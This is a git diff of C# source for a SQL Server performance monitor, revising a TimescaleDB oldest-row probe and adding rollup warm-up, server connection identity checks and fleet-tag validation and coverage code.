diff --git a/Darling/PerformanceMonitor.Darling.Storage/RawWindowFloor.cs b/Darling/PerformanceMonitor.Darling.Storage/RawWindowFloor.cs
index 97a144dc78..e00de77552 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/RawWindowFloor.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/RawWindowFloor.cs
@@ -27,10 +27,14 @@ namespace PerformanceMonitor.Darling.Storage;
 /// window actually reached — the most expensive row in a month may have happened this morning. The floor is a
 /// property of the TIER, not of the result set, and has to be asked for separately.</para>
 ///
-/// <para><b>Why a one-chunk probe.</b> Bounded on both sides ($2 start, $3 end) exactly like the window it is
-/// asked about, so TimescaleDB prunes every chunk outside it and the scan stops at the first row of the oldest
-/// surviving chunk rather than reading the window. Unfiltered by database or module: the floor is the tier's,
-/// so a filter on the caller's real read must not narrow it.</para>
+/// <para><b>Why the floor is not bounded below.</b> A floor found inside the window called a quiet start a cut: a
+/// server with older rows, quiet for the first hours of the window, read as holding less than the window. The
+/// floor is the oldest row at or before the window's end, the same question <see cref="DataWindowFloor"/> asks for
+/// the Custom Views panels. It is one walk of the table's <c>(server_id, collection_time)</c> index in time order,
+/// so TimescaleDB stops at the first row it meets instead of reading the retention window. It is still null when
+/// the window itself holds nothing: a bounded existence check, cheap the same way, keeps that answer for the
+/// callers that report an empty window. Unfiltered by database or module: the floor is the tier's, so a filter on
+/// the caller's real read must not narrow it.</para>
 ///
 /// <para><b>Why this lives in Storage.</b> The desktop viewer's Queries grids (<c>ViewerDataService</c>) and
 /// the MCP tools (<c>DarlingDataReader</c>) both need the identical probe over the identical SQL, and the
@@ -58,22 +62,118 @@ public enum Table
     };
 
     /// <summary>
-    /// The probe SQL for <paramref name="table"/> — #2364's <c>QueryStoreWindowFloorSql</c> shape verbatim,
-    /// the table name the only thing that varies. $1 server_id, $2/$3 window (naive UTC).
+    /// The probe SQL for <paramref name="table"/>, the table name the only thing that varies. $1 server_id,
+    /// $2/$3 window (naive UTC). The window's start bounds only the existence check, never the floor.
+    /// #5449: <c>procedure_stats</c> has its own shape (<see cref="ProcedureFloorSql"/>); the two query views' text is unchanged.
     /// </summary>
-    public static string FloorSql(Table table) => $"""
-        SELECT MIN(collection_time)
-        FROM {TableName(table)}
-        WHERE server_id = $1
-        AND   collection_time >= $2
-        AND   collection_time <= $3
+    public static string FloorSql(Table table) => table == Table.ProcedureStats ? ProcedureFloorSql() : $"""
+        SELECT o.t
+        FROM
+        (
+            SELECT f.collection_time AS t
+            FROM {PgSchemaGenerator.CollectSchema}.{TableName(table)} AS f
+            WHERE f.server_id = $1
+            AND   f.collection_time <= $3
+            ORDER BY f.collection_time
+            LIMIT 1
+        ) AS o
+        WHERE EXISTS
+        (
+            SELECT 1
+            FROM {PgSchemaGenerator.CollectSchema}.{TableName(table)} AS w
+            WHERE w.server_id = $1
+            AND   w.collection_time >= $2
+            AND   w.collection_time <= $3
+        )
         """;
 
     /// <summary>
-    /// The oldest <c>collection_time</c> <paramref name="table"/> actually has inside
-    /// [<paramref name="startUtc"/>, <paramref name="endUtc"/>] for <paramref name="serverId"/>. Null when the
-    /// window holds nothing at all, which the caller reports as "nothing was read" rather than as an absence
-    /// of activity.
+    /// #5449: the <c>procedure_stats</c> probe. The table stores a row only for a procedure that did work in a cycle (or a first
+    /// sighting or a counter reset), so a window the collector covered while every procedure sat idle holds no row, and a row-only
+    /// probe would answer null (nothing was read) where an older store, which kept the idle rows, answered the table's oldest row.
+    /// A SUCCESS run of the collector in <c>collection_log</c> inside the window proves the store covered it, so it satisfies the
+    /// existence check too (the <c>OR EXISTS</c>).
+    ///
+    /// <para>The floor is the earlier of the oldest row and the first run the retention cut left standing. The cut is found from the
+    /// log, because SQL cannot read the raw tier's policy (TimescaleDB 4 days, a plain store 30, or a custom one): G is the newest
+    /// SUCCESS run that stored rows (<c>rows_collected &gt; 0</c>) inside the window and before the oldest row. Those rows are gone,
+    /// so retention dropped them, and coverage starts after G. With no row left at or before $3 (busy long ago, idle since) the
+    /// "before the oldest row" bound is infinity, so G is the newest busy run in the window, not the oldest run. With no G, nothing stored was ever dropped, and the floor is
+    /// the oldest run. Idle runs (<c>rows_collected = 0</c>) are never a G: they stored nothing to lose, so they say nothing
+    /// about the cut and a window of them reads as covered back to the oldest run. $1 server_id, $2/$3 window (naive UTC).</para>
+    /// </summary>
+    private static string ProcedureFloorSql() => $"""
+        SELECT o.t
+        FROM
+        (
+            SELECT LEAST(
+                (
+                    SELECT MIN(f.collection_time)
+                    FROM {PgSchemaGenerator.CollectSchema}.procedure_stats AS f
+                    WHERE f.server_id = $1
+                    AND   f.collection_time <= $3
+                ),
+                (
+                    SELECT MIN(c.collection_time)
+                    FROM {PgSchemaGenerator.CollectSchema}.collection_log AS c
+                    WHERE c.server_id = $1
+                    AND   c.collector_name = 'procedure_stats'
+                    AND   c.status = 'SUCCESS'
+                    AND   c.collection_time <= $3
+                    AND   c.collection_time >
+                    COALESCE(
+                    (
+                        SELECT g.collection_time
+                        FROM {PgSchemaGenerator.CollectSchema}.collection_log AS g
+                        WHERE g.server_id = $1
+                        AND   g.collector_name = 'procedure_stats'
+                        AND   g.status = 'SUCCESS'
+                        AND   g.rows_collected > 0
+                        AND   g.collection_time >= $2
+                        AND   g.collection_time <
+                        COALESCE(
+                        (
+                            SELECT MIN(f2.collection_time)
+                            FROM {PgSchemaGenerator.CollectSchema}.procedure_stats AS f2
+                            WHERE f2.server_id = $1
+                            AND   f2.collection_time <= $3
+                        ), 'infinity'::timestamp)
+                        ORDER BY g.collection_time DESC
+                        LIMIT 1
+                    ), '-infinity'::timestamp)
+                )
+            ) AS t
+        ) AS o
+        WHERE EXISTS
+        (
+            SELECT 1
+            FROM {PgSchemaGenerator.CollectSchema}.procedure_stats AS w
+            WHERE w.server_id = $1
+            AND   w.collection_time >= $2
+            AND   w.collection_time <= $3
+        )
+        OR EXISTS
+        (
+            SELECT 1
+            FROM {PgSchemaGenerator.CollectSchema}.collection_log AS c
+            WHERE c.server_id = $1
+            AND   c.collector_name = 'procedure_stats'
+            AND   c.status = 'SUCCESS'
+            AND   c.collection_time >= $2
+            AND   c.collection_time <= $3
+        )
+        """;
+
+    /// <summary>
+    /// The oldest <c>collection_time</c> <paramref name="table"/> holds for <paramref name="serverId"/> at or before
+    /// <paramref name="endUtc"/>, so it can sit before <paramref name="startUtc"/> when the rows reach back past the
+    /// window. Null when the window [<paramref name="startUtc"/>, <paramref name="endUtc"/>] holds nothing at all,
+    /// which the caller reports as "nothing was read" rather than as an absence of activity.
+    ///
+    /// <para>There is deliberately no short-window skip in here (#4966). The desktop viewer's three floor probes return null at once
+    /// for a window no longer than <see cref="DurationTrendRouting.TruncationSlack"/>, because no coverage note can show for one.
+    /// Darling's MCP tools call this method too and read its null as "nothing was read", so a skip here would make a short MCP
+    /// window report that nothing was read. The skip lives in the viewer's methods, ahead of this call.</para>
     /// </summary>
     /// <param name="commandTimeoutSeconds">The caller's deadline class — the MCP read deadline by default; the
     /// viewer passes its interactive one.</param>
@@ -97,8 +197,11 @@ PostgreSQL window read here follows (DarlingPgBlockingReader, DarlingPgXminReade
         return value is DateTime dt ? dt : null;
     }
 
-    /// <summary>The window actually served: the floor when the tier had one, the requested start otherwise.</summary>
-    public static DateTime EffectiveStart(DateTime? floor, DateTime requestedStartUtc) => floor ?? requestedStartUtc;
+    /// <summary>The window actually served: the floor when it sits after the requested start, the requested start
+    /// otherwise. A floor before the start means the rows reach back past the window, so the window was served
+    /// whole; the served start never precedes the one asked for.</summary>
+    public static DateTime EffectiveStart(DateTime? floor, DateTime requestedStartUtc) =>
+        floor is DateTime f && f > requestedStartUtc ? f : requestedStartUtc;
 
     /// <summary>
     /// Whether the floor sits far enough past the requested start to call the window <c>window_truncated</c> —
diff --git a/Darling/PerformanceMonitor.Darling.Storage/RollupCoverageWarmup.cs b/Darling/PerformanceMonitor.Darling.Storage/RollupCoverageWarmup.cs
new file mode 100644
index 0000000000..a0aa539755
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/RollupCoverageWarmup.cs
@@ -0,0 +1,77 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// #4957: runs one rollup-coverage probe in the background shortly after a process opens its store, so the first
+/// reader finds every rollup's floor already measured.
+///
+/// <para><b>Why.</b> On a store with a long Query Store history, a cold
+/// <see cref="TimescaleSupport.DetectRollupCoverageAsync(NpgsqlDataSource, RollupAvailability, CancellationToken)"/>
+/// is about ten seconds: each rollup's <c>min(bucket)</c> decompresses and sorts the batches of that rollup's
+/// oldest compressed chunk. Before this, the first <c>get_daily_summary</c> (or the Viewer's first routed read)
+/// after a start paid that inline, ahead of its own query. The floors are cached per store (see
+/// <see cref="TimescaleSupport"/>), so one probe here is enough for every data source the process opens on that
+/// store.</para>
+///
+/// <para><b>What it probes.</b> The same two calls both production callers make —
+/// <see cref="TimescaleSupport.DetectRollupsAsync"/>, then
+/// <see cref="TimescaleSupport.DetectRollupCoverageAsync(NpgsqlDataSource, RollupAvailability, CancellationToken)"/>
+/// with what it found — so the views measured are exactly the union the callers need: every rollup the store has.
+/// It deliberately does not go through the service's cached availability answer or the Viewer's: a failed probe
+/// there is cached as "no rollups" for five minutes, and a failed warm must change nothing else.</para>
+///
+/// <para><b>The delay</b> follows <see cref="QueryStoreIntervalWideBrinIndex.RunDelayedAsync"/>: wait, make one
+/// attempt on the process's own data source, never throw. It is shorter than that index build's, because this
+/// probe is read-only and bounded, and a first call that arrives before it still measures inline, exactly as it
+/// did before.</para>
+/// </summary>
+public static class RollupCoverageWarmup
+{
+    /// <summary>How long the service waits after start before warming the rollup floors: past the start-up
+    /// collection burst, early enough that the first call from an agent or the web UI usually finds them measured.</summary>
+    public static readonly TimeSpan ServiceStartDelay = TimeSpan.FromSeconds(30);
+
+    /// <summary>How long the Viewer waits after opening its store before warming the rollup floors: enough for its
+    /// open-time reachability, schema and seat reads to clear the pool, short enough to beat the first tab load.</summary>
+    public static readonly TimeSpan ViewerStartDelay = TimeSpan.FromSeconds(3);
+
+    /// <summary>
+    /// Waits <paramref name="delay"/>, then probes the store's rollup coverage once, and never throws. A cancel
+    /// (shutdown, or the data source going away) and any failure alike log once at Debug and change nothing else:
+    /// the caller that needs the floors measures them itself, as it always has. A null
+    /// <paramref name="logger"/> logs nothing (the Viewer has no <see cref="ILogger"/> and no Debug level).
+    /// </summary>
+    public static async Task RunDelayedAsync(
+        NpgsqlDataSource postgres, ILogger? logger, TimeSpan delay, CancellationToken cancellationToken)
+    {
+        try
+        {
+            if (delay > TimeSpan.Zero)
+            {
+                await Task.Delay(delay, cancellationToken).ConfigureAwait(false);
+            }
+
+            var rollups = await TimescaleSupport.DetectRollupsAsync(postgres, cancellationToken).ConfigureAwait(false);
+            await TimescaleSupport.DetectRollupCoverageAsync(postgres, rollups, cancellationToken).ConfigureAwait(false);
+        }
+        catch (Exception ex)
+        {
+            logger?.LogDebug(
+                "Rollup coverage warm-up did not complete, so the first caller measures the floors itself: {ExceptionType}: {Message}",
+                ex.GetType().Name, ex.Message);
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/ServerConnectionIdentity.cs b/Darling/PerformanceMonitor.Darling.Storage/ServerConnectionIdentity.cs
new file mode 100644
index 0000000000..4071551d17
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/ServerConnectionIdentity.cs
@@ -0,0 +1,53 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// Every setting that decides where a monitored server is reached and how it is trusted (#5366): the fields a saved
+/// password is bound to, and the set an edit or a connection test compares before a stored password may be reused.
+/// It is built from the stored row by one mapping, <see cref="FromStoredColumns"/>, and compared by one rule,
+/// <see cref="Differ"/>.
+/// </summary>
+public readonly record struct ServerConnectionIdentity(
+    string Host, int Port, string Engine, string? Database, bool ReadOnlyIntent, string Auth, string? Username,
+    string EncryptMode, bool TrustServerCertificate, bool MultiSubnetFailover)
+{
+    /// <summary>The columns every reader selects, in this order, to build an identity from a stored row.</summary>
+    public const string StoredColumns = "host, port, engine, database, read_only_intent, auth, username, " +
+        "encrypt_mode, trust_server_certificate, multi_subnet_failover";
+
+    /// <summary>
+    /// The one mapping from a raw stored row: null text becomes the empty string and a null port becomes 0. The text is
+    /// not trimmed and its case is not changed, so the identity holds what the row holds.
+    /// </summary>
+    public static ServerConnectionIdentity FromStoredColumns(
+        string? host, int? port, string? engine, string? database, bool readOnlyIntent, string? auth,
+        string? username, string? encryptMode, bool trust, bool multiSubnet) =>
+        new(host ?? "", port ?? 0, engine ?? "", database ?? "", readOnlyIntent, auth ?? "", username ?? "",
+            encryptMode ?? "", trust, multiSubnet);
+
+    /// <summary>
+    /// True when <paramref name="b"/> connects differently from <paramref name="a"/>. Host, database and username
+    /// compare ordinally, the port compares as a number, authentication, encrypt mode and engine ignore case, and the
+    /// flags compare as stored.
+    /// </summary>
+    public static bool Differ(ServerConnectionIdentity a, ServerConnectionIdentity b) =>
+        !string.Equals(a.Host, b.Host, StringComparison.Ordinal)
+        || a.Port != b.Port
+        || !string.Equals(a.Engine, b.Engine, StringComparison.OrdinalIgnoreCase)
+        || !string.Equals(a.Database, b.Database, StringComparison.Ordinal)
+        || a.ReadOnlyIntent != b.ReadOnlyIntent
+        || !string.Equals(a.Auth, b.Auth, StringComparison.OrdinalIgnoreCase)
+        || !string.Equals(a.Username, b.Username, StringComparison.Ordinal)
+        || !string.Equals(a.EncryptMode, b.EncryptMode, StringComparison.OrdinalIgnoreCase)
+        || a.TrustServerCertificate != b.TrustServerCertificate
+        || a.MultiSubnetFailover != b.MultiSubnetFailover;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/ServerConnectionRule.cs b/Darling/PerformanceMonitor.Darling.Storage/ServerConnectionRule.cs
new file mode 100644
index 0000000000..13dbddc77a
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/ServerConnectionRule.cs
@@ -0,0 +1,40 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>The shared wording and address rule of a server edit. "This definition connects differently from that one" is
+/// <see cref="ServerConnectionIdentity.Differ"/>: the edit core, <c>test_connect</c>, the service's darling.json matching
+/// and the viewer all use it.</summary>
+public static class ServerConnectionRule
+{
+    /// <summary>The sentence a refused change of how a server is reached gives when the row keeps its stored password. The
+    /// web and MCP edit, the viewer and the store's own trigger and edit function (<c>provision-roles.sql</c>,
+    /// <c>DarlingManagedRoles</c>, which keep the text literal) all answer with exactly this text.</summary>
+    public const string PasswordNeededOnMoveText =
+        "Changing how this server is reached needs its password again: it is stored encrypted and this surface cannot read it back.";
+
+    /// <summary>The sentence a refused password gives when it is a reference (env: or file:). The same text in the store's
+    /// trigger and edit function.</summary>
+    public const string ReferenceRefusedText =
+        "Enter the password itself. References (env: or file:) can only be set in the configuration file.";
+
+    /// <summary>The sentence a refused change of how a server is reached gives when the row holds a remediation login. The
+    /// same text in the store's trigger and edit function.</summary>
+    public const string RemediationKeptText =
+        "This server has a remediation login stored. Change how it is reached on the service host, in the configuration file or with --add-server.";
+
+    /// <summary>
+    /// "The server is at the same address": the host text is equal ordinally (a request's host is trimmed when it is
+    /// read; the text is compared exactly as stored, and case counts) and the port is equal.
+    /// </summary>
+    public static bool SameAddress(string host, int port, string otherHost, int otherPort) =>
+        string.Equals(host, otherHost, StringComparison.Ordinal) && port == otherPort;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/ServerScopeSql.cs b/Darling/PerformanceMonitor.Darling.Storage/ServerScopeSql.cs
new file mode 100644
index 0000000000..3d2b263940
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/ServerScopeSql.cs
@@ -0,0 +1,29 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The one server-scope predicate the composer's fact reads and the hourly-edges count guard share (#5525), so the guard proves the
+/// rollup over exactly the rows the read takes. See the compiler's <c>ComposeCompiler.ServerScope</c> for the full semantics; this is
+/// its text.
+/// </summary>
+public static class ServerScopeSql
+{
+    /// <summary>
+    /// <c>&lt;prefix&gt;server_id = ANY(ARRAY(SELECT reg.server_id FROM collect.servers AS reg WHERE reg.server_name = ANY(names)))</c>,
+    /// or, when <paramref name="unregisteredParam"/> is given, that predicate in parentheses OR'd with
+    /// <c>&lt;prefix&gt;server_name = ANY(unregistered)</c> (the names the registry does not hold, matched on the row's stored name).
+    /// Only parameter names reach the text; no value does.
+    /// </summary>
+    public static string Predicate(string prefix, string namesParam, string? unregisteredParam)
+    {
+        var byId = $"{prefix}server_id = ANY(ARRAY(SELECT reg.server_id FROM {PgSchemaGenerator.CollectSchema}.servers AS reg WHERE reg.server_name = ANY({namesParam})))";
+        return unregisteredParam is null ? byId : $"({byId} OR {prefix}server_name = ANY({unregisteredParam}))";
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/ServerTagCoverage.cs b/Darling/PerformanceMonitor.Darling.Storage/ServerTagCoverage.cs
new file mode 100644
index 0000000000..c95fbcb056
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/ServerTagCoverage.cs
@@ -0,0 +1,159 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>One tag-scoped custom alert rule whose coverage a tag change alters. The server lists are sorted and
+/// capped at <see cref="ServerTagCoverage.ServerListCap"/>; the counts are exact.</summary>
+public sealed record RuleCoverageEffect(
+    long RuleId,
+    string Name,
+    bool Enabled,
+    int ScopeTagId,
+    string Effect,
+    IReadOnlyList<int> ServersLost,
+    int ServersLostCount,
+    IReadOnlyList<int> ServersGained,
+    int ServersGainedCount);
+
+/// <summary>
+/// Which custom alert rules a tag change affects, computed by diffing two snapshots. A rule scoped to a tag
+/// covers every server assigned to that tag or any tag under it (the same subtree rule as the alert rules'
+/// tag-member read), so one diff answers every verb: a move, an unassign, an assign and a delete.
+/// </summary>
+public static class ServerTagCoverage
+{
+    /// <summary>The most server ids listed per rule and direction.</summary>
+    public const int ServerListCap = 50;
+
+    /// <summary>Effect: the rule's scope tag no longer exists, so it matches no server.</summary>
+    public const string Orphaned = "orphaned";
+
+    /// <summary>Effect: the rule covers fewer servers.</summary>
+    public const string LosesServers = "loses_servers";
+
+    /// <summary>Effect: the rule covers more servers.</summary>
+    public const string GainsServers = "gains_servers";
+
+    /// <summary>Effect: the rule gained some servers and lost others.</summary>
+    public const string ChangesServers = "changes_servers";
+
+    /// <summary>The servers a rule scoped to <paramref name="scopeTag"/> covers: those assigned to the tag or any
+    /// tag in its subtree. The walk is bounded at <see cref="ServerTagRules.MaxWalkSteps"/> levels.</summary>
+    public static HashSet<int> Members(ServerTagSnapshot snapshot, int scopeTag)
+    {
+        var subtree = ServerTagRules.Descendants(snapshot.Tags, scopeTag);
+        subtree.Add(scopeTag);
+        return snapshot.Assignments
+            .Where(a => subtree.Contains(a.TagId))
+            .Select(a => a.ServerId)
+            .ToHashSet();
+    }
+
+    /// <summary>Every rule in <paramref name="before"/> whose coverage differs in <paramref name="after"/>.
+    /// A rule whose scope tag is gone in <paramref name="after"/> (but was present in <paramref name="before"/>)
+    /// is <see cref="Orphaned"/> and loses every server it had.</summary>
+    public static IReadOnlyList<RuleCoverageEffect> Diff(ServerTagSnapshot before, ServerTagSnapshot after)
+    {
+        var afterTagIds = after.Tags.Select(t => t.Id).ToHashSet();
+        var beforeTagIds = before.Tags.Select(t => t.Id).ToHashSet();
+        var effects = new List<RuleCoverageEffect>();
+        foreach (var rule in before.Rules)
+        {
+            // A rule whose scope tag was already gone before the write matches nothing and this write did not
+            // change that, so it is not an effect of this write.
+            if (!beforeTagIds.Contains(rule.ScopeTagId))
+            {
+                continue;
+            }
+
+            var was = Members(before, rule.ScopeTagId);
+            if (!afterTagIds.Contains(rule.ScopeTagId))
+            {
+                effects.Add(Build(rule, Orphaned, was, []));
+                continue;
+            }
+
+            var now = Members(after, rule.ScopeTagId);
+            var lost = was.Where(s => !now.Contains(s)).ToList();
+            var gained = now.Where(s => !was.Contains(s)).ToList();
+            if (lost.Count == 0 && gained.Count == 0)
+            {
+                continue;
+            }
+
+            var effect = lost.Count > 0 && gained.Count > 0 ? ChangesServers
+                : lost.Count > 0 ? LosesServers
+                : GainsServers;
+            effects.Add(Build(rule, effect, lost, gained));
+        }
+
+        return effects;
+    }
+
+    /// <summary>The rules whose coverage a delete of <paramref name="tagId"/> would change, by simulating the
+    /// delete on a copy of the snapshot: rules scoped to the tag or a descendant are orphaned, rules scoped to an
+    /// ancestor lose the deleted subtree's servers.</summary>
+    public static IReadOnlyList<RuleCoverageEffect> SimulateDelete(ServerTagSnapshot snapshot, int tagId)
+    {
+        var gone = ServerTagRules.Descendants(snapshot.Tags, tagId);
+        gone.Add(tagId);
+        var after = new ServerTagSnapshot(
+            snapshot.Tags.Where(t => !gone.Contains(t.Id)).ToList(),
+            snapshot.Assignments.Where(a => !gone.Contains(a.TagId)).ToList(),
+            snapshot.Rules);
+        return Diff(snapshot, after);
+    }
+
+    /// <summary>The most rules a delete warning names before it says "and N more".</summary>
+    public const int DeleteWarningMaxNamed = 5;
+
+    /// <summary>The sentence a delete confirmation appends when <paramref name="rules"/> are scoped to the tag or a
+    /// child tag: empty for none, else a leading space then the rule names and ids, the first
+    /// <see cref="DeleteWarningMaxNamed"/> and then "and N more".</summary>
+    public static string DeleteWarning(IReadOnlyList<TagScopedRule> rules)
+    {
+        if (rules.Count == 0)
+        {
+            return string.Empty;
+        }
+
+        var named = string.Join(", ", rules.Take(DeleteWarningMaxNamed).Select(r => $"'{r.Name}' (#{r.RuleId})"));
+        var more = rules.Count > DeleteWarningMaxNamed ? $", and {rules.Count - DeleteWarningMaxNamed} more" : string.Empty;
+        return " Custom alert rules scoped to this tag or a child tag will stop matching any server: " + named + more;
+    }
+
+    /// <summary>The rules scoped to <paramref name="tagId"/> or a tag under it, enabled or not: the ones a delete
+    /// of the tag would leave matching no server.</summary>
+    public static IReadOnlyList<TagScopedRule> RulesScopedInSubtree(ServerTagSnapshot snapshot, int tagId)
+    {
+        var subtree = ServerTagRules.Descendants(snapshot.Tags, tagId);
+        subtree.Add(tagId);
+        return snapshot.Rules.Where(r => subtree.Contains(r.ScopeTagId)).ToList();
+    }
+
+    private static RuleCoverageEffect Build(TagScopedRule rule, string effect, IEnumerable<int> lost, IEnumerable<int> gained)
+    {
+        var lostSorted = lost.OrderBy(i => i).ToList();
+        var gainedSorted = gained.OrderBy(i => i).ToList();
+        return new RuleCoverageEffect(
+            rule.RuleId,
+            rule.Name,
+            rule.Enabled,
+            rule.ScopeTagId,
+            effect,
+            lostSorted.Take(ServerListCap).ToList(),
+            lostSorted.Count,
+            gainedSorted.Take(ServerListCap).ToList(),
+            gainedSorted.Count);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/ServerTagRules.cs b/Darling/PerformanceMonitor.Darling.Storage/ServerTagRules.cs
new file mode 100644
index 0000000000..731d8fda44
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/ServerTagRules.cs
@@ -0,0 +1,335 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The fleet-tag write rules, pure and shared by every writer (the viewer and the MCP tools through
+/// <see cref="ServerTagStore"/>): name, duplicate, depth, cycle, parent and colour. Each check returns null when
+/// the write may proceed, or the typed refusal to hand back. The tree is a few dozen rows read whole, so every
+/// walk is in memory and guarded at <see cref="MaxWalkSteps"/> steps, the same bound as the alert rules'
+/// tag-subtree read, so a malformed cycle in the data cannot hang a check.
+/// </summary>
+public static class ServerTagRules
+{
+    /// <summary>The deepest nesting allowed: a tag has a 0-based depth from the root and at most
+    /// <c>MaxDepth - 1</c>.</summary>
+    public const int MaxDepth = 4;
+
+    /// <summary>The longest tag name, in characters, after trimming.</summary>
+    public const int MaxNameLength = 100;
+
+    /// <summary>The bound on every parent-chain or child-frontier walk.</summary>
+    public const int MaxWalkSteps = 64;
+
+    /// <summary>Refusal code: the name is empty, too long or holds a control character.</summary>
+    public const string BadName = "bad_name";
+
+    /// <summary>Refusal code: the colour is not <c>#RRGGBB</c>.</summary>
+    public const string BadColour = "bad_colour";
+
+    /// <summary>Refusal code: the write would nest tags deeper than <see cref="MaxDepth"/> levels.</summary>
+    public const string DepthLimit = "depth_limit";
+
+    /// <summary>Refusal code: the move would put a tag under itself or one of its own descendants.</summary>
+    public const string Cycle = "cycle";
+
+    /// <summary>Refusal code: a sibling already carries the name.</summary>
+    public const string DuplicateName = "duplicate_name";
+
+    /// <summary>Refusal code: the requested parent is not a tag.</summary>
+    public const string UnknownParent = "unknown_parent";
+
+    /// <summary>The colour refusal text.</summary>
+    public const string BadColourMessage = "colour must be #RRGGBB, e.g. #416FA6, or null to clear it.";
+
+    /// <summary>The create-depth refusal text.</summary>
+    public const string DepthLimitMessage = "Tags can nest at most four levels deep.";
+
+    /// <summary>The cycle refusal text.</summary>
+    public const string CycleMessage = "A tag cannot move under itself or one of its own child tags.";
+
+    /// <summary>The 0-based depth of a tag: a root is 0. A missing tag, or a parent chain longer than the walk
+    /// bound, reads as the bound reached so far.</summary>
+    public static int Depth(IReadOnlyList<ServerTagRow> tags, int tagId)
+    {
+        var byId = tags.ToDictionary(t => t.Id);
+        var depth = 0;
+        var current = tagId;
+        while (depth < MaxWalkSteps && byId.TryGetValue(current, out var row) && row.ParentId is int parent)
+        {
+            depth++;
+            current = parent;
+        }
+
+        return depth;
+    }
+
+    /// <summary>The deepest descendant's depth relative to the tag: a leaf is 0.</summary>
+    public static int Height(IReadOnlyList<ServerTagRow> tags, int tagId)
+    {
+        var frontier = new List<int> { tagId };
+        var seen = new HashSet<int> { tagId };
+        var height = 0;
+        for (var step = 0; step < MaxWalkSteps; step++)
+        {
+            var next = tags
+                .Where(t => t.ParentId is int p && frontier.Contains(p) && seen.Add(t.Id))
+                .Select(t => t.Id)
+                .ToList();
+            if (next.Count == 0)
+            {
+                break;
+            }
+
+            height++;
+            frontier = next;
+        }
+
+        return height;
+    }
+
+    /// <summary>Every tag under <paramref name="tagId"/> (not the tag itself), walked breadth-first and bounded
+    /// at <see cref="MaxWalkSteps"/> levels.</summary>
+    public static HashSet<int> Descendants(IReadOnlyList<ServerTagRow> tags, int tagId)
+    {
+        var result = new HashSet<int>();
+        var frontier = new List<int> { tagId };
+        for (var step = 0; step < MaxWalkSteps && frontier.Count > 0; step++)
+        {
+            var next = tags
+                .Where(t => t.ParentId is int p && frontier.Contains(p) && t.Id != tagId && result.Add(t.Id))
+                .Select(t => t.Id)
+                .ToList();
+            frontier = next;
+        }
+
+        return result;
+    }
+
+    /// <summary>Trims and validates a tag name: required, at most <see cref="MaxNameLength"/> characters, no
+    /// control character. Returns null and the trimmed name when valid.</summary>
+    public static ServerTagWriteResult.Refused? CheckName(string? name, out string cleanName)
+    {
+        cleanName = (name ?? string.Empty).Trim();
+        if (cleanName.Length == 0)
+        {
+            return new ServerTagWriteResult.Refused(BadName, "Tag name is required.");
+        }
+
+        if (cleanName.Length > MaxNameLength)
+        {
+            return new ServerTagWriteResult.Refused(BadName, "Tag name exceeds 100 characters.");
+        }
+
+        if (cleanName.Any(char.IsControl))
+        {
+            return new ServerTagWriteResult.Refused(BadName, "Tag name contains a control character.");
+        }
+
+        // Format characters (zero-width, bidi overrides) render as nothing, so two names could look identical.
+        if (cleanName.Any(c => char.GetUnicodeCategory(c) == UnicodeCategory.Format))
+        {
+            return new ServerTagWriteResult.Refused(BadName, "Tag name contains an invisible formatting character.");
+        }
+
+        return null;
+    }
+
+    /// <summary>Trims, validates and upper-cases a colour. Null passes through as null (clear, or the palette
+    /// default on create); an empty string or anything but <c>#RRGGBB</c> is refused.</summary>
+    public static ServerTagWriteResult.Refused? CheckColour(string? colour, out string? cleanColour)
+    {
+        cleanColour = null;
+        if (colour is null)
+        {
+            return null;
+        }
+
+        colour = colour.Trim();
+        if (colour.Length == 0 || !TagColours.IsValidStoredColour(colour))
+        {
+            return new ServerTagWriteResult.Refused(BadColour, BadColourMessage);
+        }
+
+        cleanColour = colour.ToUpperInvariant();
+        return null;
+    }
+
+    /// <summary>The duplicate-name text: "A tag named 'X' already exists under 'Parent'" (or "at the root").</summary>
